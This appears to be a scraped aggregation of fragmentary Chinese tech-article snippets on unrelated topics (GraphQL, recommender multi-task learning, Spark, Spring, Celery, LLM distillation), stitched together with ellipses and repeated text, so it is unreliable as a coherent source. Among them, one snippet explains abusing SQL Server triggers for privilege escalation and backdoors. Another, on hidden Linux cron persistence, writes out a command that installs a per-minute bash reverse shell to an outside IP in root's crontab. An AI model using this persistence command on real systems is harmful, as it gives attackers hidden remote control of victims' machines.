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GraphQL 在微服务架构中的实践

这篇文章中,首先会简单介绍 GraphQL 是什么,它能够解决的问题;在这之后,我们会重点分析 GraphQL 在微服务架构中的使用以及在实践过程中遇到的棘手问题,在最后作者将给出心中合理的 GraphQL...粘合 除了增加前缀这种在工程上开发成本非常低的方法之外,GraphQL 官方提供了一种名为 Schema Stitching 的方案,能够将不同服务的 GraphQL Schema 粘合起来并对外暴露统一的接口...,这种粘合 Schema 的方法其实是 GraphQL 官方推荐的做法,同时它们也为使用者提供了 JavaScript 的工具,但是它需要我们在合并 Schema 的地方手动对不同 Schema 之间的公共资源以及冲突类型进行处理...这篇文章中,首先会简单介绍 GraphQL 是什么,它能够解决的问题;在这之后,我们会重点分析 GraphQL 在微服务架构中的使用以及在实践过程中遇到的棘手问题,在最后作者将给出心中合理的 GraphQL...粘合 除了增加前缀这种在工程上开发成本非常低的方法之外,GraphQL 官方提供了一种名为 Schema Stitching 的方案,能够将不同服务的 GraphQL Schema 粘合起来并对外暴露统一的接口

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    GraphQL 在微服务架构中的实践

    这篇文章中,首先会简单介绍 GraphQL 是什么,它能够解决的问题;在这之后,我们会重点分析 GraphQL 在微服务架构中的使用以及在实践过程中遇到的棘手问题,在最后作者将给出心中合理的 GraphQL...粘合 除了增加前缀这种在工程上开发成本非常低的方法之外,GraphQL 官方提供了一种名为 Schema Stitching 的方案,能够将不同服务的 GraphQL Schema 粘合起来并对外暴露统一的接口...在整个 Schema Stitching 的过程中,最重要的方法其实就是 mergeSchemas,它总共接受三个参数,需要粘合的 Schema 数组、多个 Resolver 以及类型出现冲突时的回调:...Schema Stitching 其实是解决多服务共同对外暴露 Schema 时比较好的方法,这种粘合 Schema 的方法其实是 GraphQL 官方推荐的做法,同时它们也为使用者提供了 JavaScript...、测试和维护成本,现在来看不是一个非常可取的方法。

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    触发器在渗透中的利用

    0x01 什么是触发器: 触发器对表进行插入、更新、删除的时候会自动执行的特殊存储过程。触发器一般用在check约束更加复杂的约束上面。触发器和普通的存储过程的区别是:触发器是当对某一个表进行操作。...诸如:update、insert、delete这些操作的时候,系统会自动调用执行该表上对应的触发器。...SQL Server 2005中触发器可以分为两类:DML触发器和DDL触发器,其中DDL触发器它们会影响多种数据定义语言语句而激发,这些语句有create、alter、drop语句。...0x02 问题描述: a)通过Sqlserver的触发器,可以利用执行者的权限执行自定义的命令。...b)渗透过程中可能利用的触发器场景:在设置好触发器以后,等待、诱使高权限用户去触发这个触发器,来实现入侵、提权、留后门等目的。

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    GraphQL在现代Web应用中的应用与优势

    GraphQL是一种现代的API查询语言,它在现代Web应用中得到了广泛的应用,因为它提供了一种高效、灵活且强大的方式来获取数据GraphQL基础快速应用示例:1....查询语言:查询、突变、订阅在GraphQL中,查询和突变是通过JSON-like结构表示的字符串。...CreateUser突变创建了一个新用户并返回新用户的ID和姓名。OnNewUser订阅等待新用户被创建时触发,返回新用户的信息。2....这就是GraphQL查询、类型系统和层次结构在实际应用中的体现。...: Post}在Query类型中,我们定义了获取单个用户、所有用户、单篇帖子和所有帖子的查询。而在Mutation类型中,我们定义了创建新用户和新帖子的操作。

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    深度总结 | 多任务学习方法在推荐中的演变

    那么机器学习在实际应用中为什么会出现“多任务”的需求呢?...该方法在相关性较高的多任务之间效果会比较好,且任务越多,单任务越不可能过拟合,即泛化能力越强;缺点是当任务之间不相关时底层共享层难以学到各个任务之间比较通用的特征和模式。...该方法其实是硬参数共享的另一极端,可适用于任务之间相关性没有那么好的情况,比如排序中的点击率和停留时长,点击率和互动率等。...MMoE具体公式如下: 在将MMoE应用在Youtube的论文[8]中可以得到不同的Expert在不同任务中的重要性不同(可通过看各个Gate的输出来判断每个任务对应哪些Expert比较重要),因此如果想要某个...在推荐系统中,不同任务之间通常存在一种序列依赖关系。在电商中的多目标预估一般是点击率和转化率,其中购买这个行为只有在点击发生后才会发生。

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    spark任务中的时钟的处理方法

    spark任务中的时钟的处理方法 典型的spark的架构: 日志的时间戳来自不同的rs,spark在处理这些日志的时候需要找到某个访问者的起始时间戳。...访问者的第一个访问可能来自任何一个rs, 这意味这spark在处理日志的时候,可能收到时钟比当前时钟(自身时钟)大或者小的情况。这时候在计算会话持续时间和会话速度的时候就会异常。...从spark的视角看,spark节点在处理日志的时刻,一定可以确定日志的产生时刻一定是spark当前时钟前, 因此在这种异常情况下,选择信任spark节点的时钟。...如此一来,一定不会因为rs的时钟比spark节点时钟快的情况下出现计算结果为负值的情况。 基本的思想:“当无法确定精确时刻的时候,选择信任一个逻辑上精确的时刻”

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    Java并发之ScheduledThreadPoolExecutor在Executor中延时执行任务在Executor中周期的执行任务

    在Executor中延时执行任务 在Executor中周期的执行任务 ScheduledExecutorService类顾名思义,就是可以延迟执行的Executor。...在Executor中延时执行任务 Task类 package ScheduledThreadPoolExecutor; import java.util.Date; import java.util.concurrent.Callable...中周期的执行任务 Executor框架通过并发任务而避免了线程的创建操作。...Executor框架中,提供了ScheduledThreadPoolExecutor来提供任务的周期性执行的功能 Task类: package ScheduledThreadCycle; import...要创建周期性任务的Executor,就需要像ScheduledExecutorService这个执行器发送周期性的任务,调用 scheduleAtFixedRate方法发送任务,值得注意的是这个方法,只接受

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    在Linux中创建隐匿的计划任务

    Linux中的计划任务可以让系统周期性地运行所指定的程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。...然后,使用命令crontab -l来查看当前用户在系统中创建的计划任务,执行结果如图1-2所示。...在Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,在计划任务中写入一个每分钟建立回连会话的语句...通过这样的方法可以隐藏计划任务。我正在参与2024腾讯技术创作特训营第五期有奖征文,快来和我瓜分大奖!

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    异步任务队列Celery在Django中的应用

    异步任务队列Celery在Django中的应用 01 Django简介 关于Django的介绍,之前在2018年9月17号的文章中已经讲过了,大家有兴趣可以翻翻之前的文章,这里再简单介绍下:...其中,异步任务通常在业务逻辑中被触发并发往任务队列,而定时任务由 Celery Beat 进程周期性地将任务发往任务队列。...4.在app的根目录下,简历task.py文件 在tasks.py中我们就可以编码实现我们需要执行的任务逻辑,在开始处import task,然后在要执行的任务方法开头用上装饰器@task。...9.异步调度任务接入 异步调度任务接入也比较简单,我们访问以下我们刚才第5步配置的URL,就相当于调用了task_manage中的test_celery方法,而这个方法调用了我们的异步任务add和...今天只是初步让大家了解一下celery在Django中的配置和使用方法,后续还将详细描述一些更深层次的应用。

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    Unity中Android 触发home,回收覆盖在UnityPlayerActivity上层的activity的问题

    activity在UnityPlayerActivity上,这个时候如果安卓手机点击home回到桌面,再点击图标返回,发现除了UnityPlayerActivity,其他的activity都被回收了。...分析 将打包的apk解析出AndroidManifest.xml发现,UnityPlayerActivity在AndroidManifest.xml中的launchMode是singleTask,发现问题了...天真的想法一: 一开始天真的我发现,修改一下项目的AndroidManifest.xml中的UnityPlayerActivity的launchMode就ok了。...修改之后,重新运行项目,相同的操作,问题还是存在;于是我又重新反编译解析出apk的AndroidManifest.xml,惊讶的发现:在AndroidManifest.xml中的UnityPlayerActivity...,尝试的在这个AndroidManifest.xml中给UnityPlayerActivity加上launchMode,然后重新unity打包apk,发现历史总是惊人的相似,结果还是不行 解决 发现上面的两个方法都不行

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    浅谈 多任务学习 在推荐系统中的应用

    为什么要用多任务学习? 「方便」。在推荐任务中,往往不仅要预测用户的engagement(例如CTR),还要预测用户satisfaction(例如评分、CVR、观看时长)。...缺点就是模型增加了参数量(如果要训练k个目标,就增加k倍),所以需要更大的数据量来训练模型,而且模型更复杂并不利于在真实生产环境中实际部署使用。...一方面,因为gating networks通常是轻量级的,而且expert network是所有任务共用,所以相对上文提到的软参数共享方法有「参数量」上的优势; 另一方面,相对于所有任务公用一个gate...的方法One-gate MoE model(OMOE),这里MMoE中每个任务使用不同的gating networks,从而学习到不同的组合experts的权重,因此模型考虑到了捕捉到任务的「相关性和区别...因此在模型的效果上优于上文提到的硬参数共享的方法。

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    在Spring Boot中优雅的实现定时任务

    在日常的项目开发中,往往会涉及到一些需要做到定时执行的代码,例如自动将超过24小时的未付款的单改为取消状态,自动将超过14天客户未签收的订单改为已签收状态等等,那么为了在Spring Boot中实现此类需求...注解表明这是一个需要定时执行的方法,里面的cron属性接收的是一个cron表达式,这里我给的是 */15 * * * * ?...,这个的意思是每隔15秒执行一次方法,对cron表达式不熟悉的同学可以百度一下用法。项目跑起来后可以看到方法被定时执行了: ?...这种方式有个缺点,那就是执行周期写死在代码里了,没有办法动态改变,要想改变只能修改代码在重新部署启动微服务。其实Spring也考虑到了这个,所以给出了另外的解决方案,就是我下面说的第二种方式。...return; } execute(); } } 所有定时任务类只需要实现这个接口并相应的在数据库插入一条记录,那么在微服务启动的时候,

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    Spring中的AOP——在Advice方法中获取目标方法的参数

    param2; } 在com.abc.main.AOPTest中加入方法的调用,触发切点: String result = manager.manyAdvices("aa", "bb"); System.out.println..."目标方法的返回结果returnValue = " + returnValue); } } 上面的程序中,定义pointcut时,表达式中增加了args(time, name)部分,意味着可以在增强处理方法...注意,在定义returning的时候,这个值(即上面的returning="returnValue"中的returnValue)作为增强处理方法的形参时,位置可以随意,即:如果上面access方法的签名可以为...我们在AdviceManager中定义一个方法,该方法的第一个参数为Date类型,第二个参数为String类型,该方法的执行将触发上面的access方法,如下: //将被AccessArgAdviceTest...,注意args参数中后面的两个点,它表示可以匹配更多参数。在例子args(param1, param2, ..)中,表示目标方法只需匹配前面param1和param2的类型即可。

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    对话生成与总结任务的效率优化,LLMR在NLP任务中的性能优势分析 !

    在本文中,作者提出了一种新的知识蒸馏(KD)方法,LLMR,该方法基于大语言模型诱导的奖励函数。 作者在对话生成和总结任务等多个数据集上进行了实验。...实验结果表明,作者的 LLMR 方法在不同的任务和数据集上,始终优于传统的 KD 方法。...这样,作者提出的LLMR蒸馏方法允许学生模型在强化学习中以自主方式进行探索,从而减轻了暴露偏差问题。 作者在两种文本生成任务上进行了实验:对话生成和文本摘要。...相反,在作者的LLMR方法中,老师只对一个学生采样的序列进行评分,这使得KD过程在更多探索的机会。...作者的LLMR方法遵循之前的工作,但直接从预训练的LLM中以原则性和任务无关的方式生成奖励函数。 3 Approach 基于强化学习的知识蒸馏(KD)。

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    MT-BERT在文本检索任务中的实践

    本文系DR-BERT算法在文本检索任务中的实践分享,希望对从事检索、排序相关研究的同学能够有所启发和帮助。...在美团业务中,文档检索和排序算法在搜索、广告、推荐等场景中都有着广泛的应用。...然而,Pairwise的排序任务存在两个问题:第一,这种方法优化两两文档的比较而非更多文档的排序,跟文档排序的目标不同;第二,随机从文档中抽取Pair容易造成训练数据偏置的问题。...通过BERT强大的语义表征能力,可以很好衡量单词在文档中的重要性。如下图4所示,颜色越深的单词,其重要性越高。其中的“stomach”在第一个文档中的重要性更高。 ?...解决OOV的错误匹配问题 在BERT中,为了减少词表的规模以及解决Out-of-vocabulary(OOV)的问题,使用了WordPiece方法来分词。

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